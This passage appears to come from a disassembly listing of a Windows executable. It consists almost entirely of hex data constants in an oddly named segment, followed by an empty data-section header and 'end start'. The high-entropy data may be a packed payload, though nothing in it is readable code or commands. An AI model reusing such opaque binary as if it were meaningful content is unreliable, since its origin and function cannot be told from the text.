		dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h
		dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h
		dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h
		dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h,	0BBEC7023h
		dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h
		dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h,	6C8EE83Dh
		dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h,	0EB48C576h
		dd 7EA74FE2h, 6F1C285h,	4B5FBFF4h, 89138A86h, 0EB2BC955h
		dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh
		dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h,	36F694E5h
		dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh,	0CB76B8BBh
		dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h
		dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh,	850FE3C8h
		dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h
		dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h,	7A4F94C4h
		dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h
		dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h
		dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h
		dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh
		dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh,	508549F2h
		dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h
		dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h
		dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch
		dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh
		dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh
		dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h,	0D2BC75DCh
		dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h
		dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh,	9E1BEF29h
		dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h
		dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h,	3DEA336h
		dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h
		dd 73B13E0Eh, 45D13FDh,	3AED062Bh, 0F91FB001h, 12831847h
		dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h
		dd 0E71A9CC9h, 7B855DF6h
		dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h
		dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h,	0B5020EE8h
		dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h,	42296D22h
		dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h
		dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h
		dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh
		dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h,	132AF4D9h
		dd 5EA98C02h, 60728F4h,	5616DB5Bh, 0CB8966B5h, 0D05226Bh
		dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh
		dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh
		dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h,	2611E7DEh
		dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h,	7025A2BEh
		dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch
		dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h,	2272B597h
		dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h,	0CC45DEF1h
		dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h,	38607A3Bh
		dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h
		dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h,	7F61EC1h
		dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h,	63B948Dh
		dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh
		dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h
		dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah,	0A2216383h
		dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh
		dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h
		dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh
		dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh,	0C3ED43F2h
		dd 30537AAh, 4D859BCFh,	671A2FB3h, 498E60BAh, 415A01ECh
		dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh,	2DEA92ECh
		dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h
		dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh
		dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh
		dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h
		dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h,	671494A3h
		dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h
		dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h
		dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch
		dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h,	0CBEA932Eh
		dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h
		dd 22A6BB07h, 139BCC8h,	43FEF56Ah, 4FCA07D6h, 9791CB31h
		dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh
		dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h
		dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h
		dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h
		dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h
		dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h,	0E6A0B21h
		dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h,	827BC52Ah
		dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h
		dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh
		dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh
		dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh
		dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh
		dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h,	0EC1E1AAFh
		dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h,	0AC34868Ch
		dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h
		dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh
		dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h
		dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h
		dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h
		dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h,	516B5C02h
		dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h
		dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h
		dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh
		dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h,	0D1FAAF06h
		dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh,	0C9E3EC35h
		dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h
		dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh
		dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h
		dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h
		dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h,	0F19F42B0h
		dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h
		dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h
		dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h,	0D60F349Bh
		dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh
		dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h
		dd 17131D8h, 36ED5049h,	73BC637Fh, 7204D405h, 0AE70409h
		dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h,	28C6412Ah
		dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh
		dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah
		dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h
		dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh
		dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h
		dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h
		dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h,	4FFD00EDh
		dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah
		dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h,	34FEA2ABh
		dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h
		dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh
		dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h
		dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h
		dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h
		dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h
		dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch,	2E9B693Fh
		dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh
		dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh
		dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh,	0A57CD81Ch
		dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h
		dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h,	20F89955h
		dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh
		dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h
		dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh,	0AB8496E8h
		dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh,	0F217332Ch
		dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h
		dd 6550F505h, 0AA5D3ED9h
		dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h,	0E2178FA1h
		dd 5136DB4h, 35E4BD89h,	1F81C296h, 71147437h, 9EC09C19h
		dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh
		dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh
		dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h
		dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h
		dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh
		dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h
		dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah
		dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h,	98463091h
		dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h
		dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h
		dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh
		dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh,	0E16F4710h
		dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh
		dd 28B15CE5h, 630DFC4h,	0ADA8254Eh, 8F620C86h, 0D77EFC27h
		dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h,	0FA8F4A18h
		dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h
		dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h
		dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh
		dd 5038251h, 7B0DEAB7h,	0E3E9F06Ah, 7976E2D6h, 0C6D3C268h
		dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h
		dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh,	0A2CCC15Fh
		dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h
		dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h,	0C5065672h
		dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h
		dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh,	0D06508ACh
		dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah,	379F5EF4h
		dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh
		dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh
		dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h
		dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh
		dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h,	6C7832E0h
		dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah
		dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh
		dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh,	0D77C7A43h
		dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh,	212EF5ACh
		dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h
		dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh
		dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h
		dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h
		dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h
		dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh,	6CD30D2Fh
		dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh
		dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h,	2731E956h
		dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh
		dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh,	280D01A5h
		dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h,	344DE17Dh
		dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h
		dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh,	90599F6h
		dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h
		dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h,	764E19BDh
		dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h
		dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h
		dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh,	8074904Fh
		dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h
		dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h,	723AB421h
		dd 41430C2h, 1E06090Eh,	0C965894Ah, 0CFDC09h, 58EF533Fh
		dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch
		dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh,	0D14AD342h
		dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h
		dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h
		dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h
		dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh
		dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch,	7E05DCA7h
		dd 128C10E2h, 332EAB2h,	6B9F5826h, 46F74Ch, 5FE0CA8Fh
		dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h
		dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h
		dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh
		dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h
		dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h
		dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h,	26C29DB4h
		dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h,	6F32EEADh
		dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h
		dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h,	3711477Bh
		dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h
		dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h,	44B56433h
		dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h,	5688B078h
		dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h
		dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h
		dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h
		dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh
		dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h
		dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h,	0E3F0BE4Ch
		dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh
		dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h
		dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh
		dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h,	31C19942h
		dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h
		dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h
		dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h
		dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h
		dd 570C22Eh, 32D80EA2h,	5FE32BFCh, 0C346F48Ch, 0CE4C0B17h
		dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h
		dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h
		dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h,	55E5B37Dh
		dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h
		dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h
		dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h
		dd 0A07D1Dh, 27C6D88Eh,	0D17DF339h, 4F2BCD19h, 0B74705CDh
		dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h
		dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h
		dd 1E18625h, 0B6C70975h
		dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh,	0CB5F36C6h
		dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h
		dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh,	30982E0Ch
		dd 7C98E55h, 31FDB645h,	57E8D180h, 0F951C3BEh, 90E96F3Fh
		dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h
		dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh
		dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h,	39D167C2h
		dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h,	0EE8541DFh
		dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h,	0CA9947C2h
		dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h,	1879191Eh
		dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h
		dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h,	0F5E39D90h
		dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah,	1048BE9Eh
		dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh
		dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h
		dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h
		dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh
		dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h
		dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh
		dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh
		dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh
		dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh
		dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h
		dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h
		dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh,	0DD523383h
		dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh,	0AB740168h
		dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh
		dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h
		dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h,	0B0A16A33h
		dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h
		dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h,	514F8A4Eh
		dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h,	3D8B4B64h
		dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h,	10D144AEh
		dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah
		dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h,	7BD451F1h
		dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh
		dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h
		dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h,	0C00180CEh
		dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h,	0AA733C2Dh
		dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh
		dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h
		dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h
		dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh,	0EBB44DF4h
		dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh
		dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah
		dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h
		dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h,	4EBC7A58h
		dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h
		dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h,	80700ABEh
		dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h,	0AC1630C0h
		dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh
		dd 0C3E57Fh, 133h dup(0)
_0niaacah	ends

; Section 7. (virtual address 0004F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44F000h
		align 2000h
_idata2		ends


		end start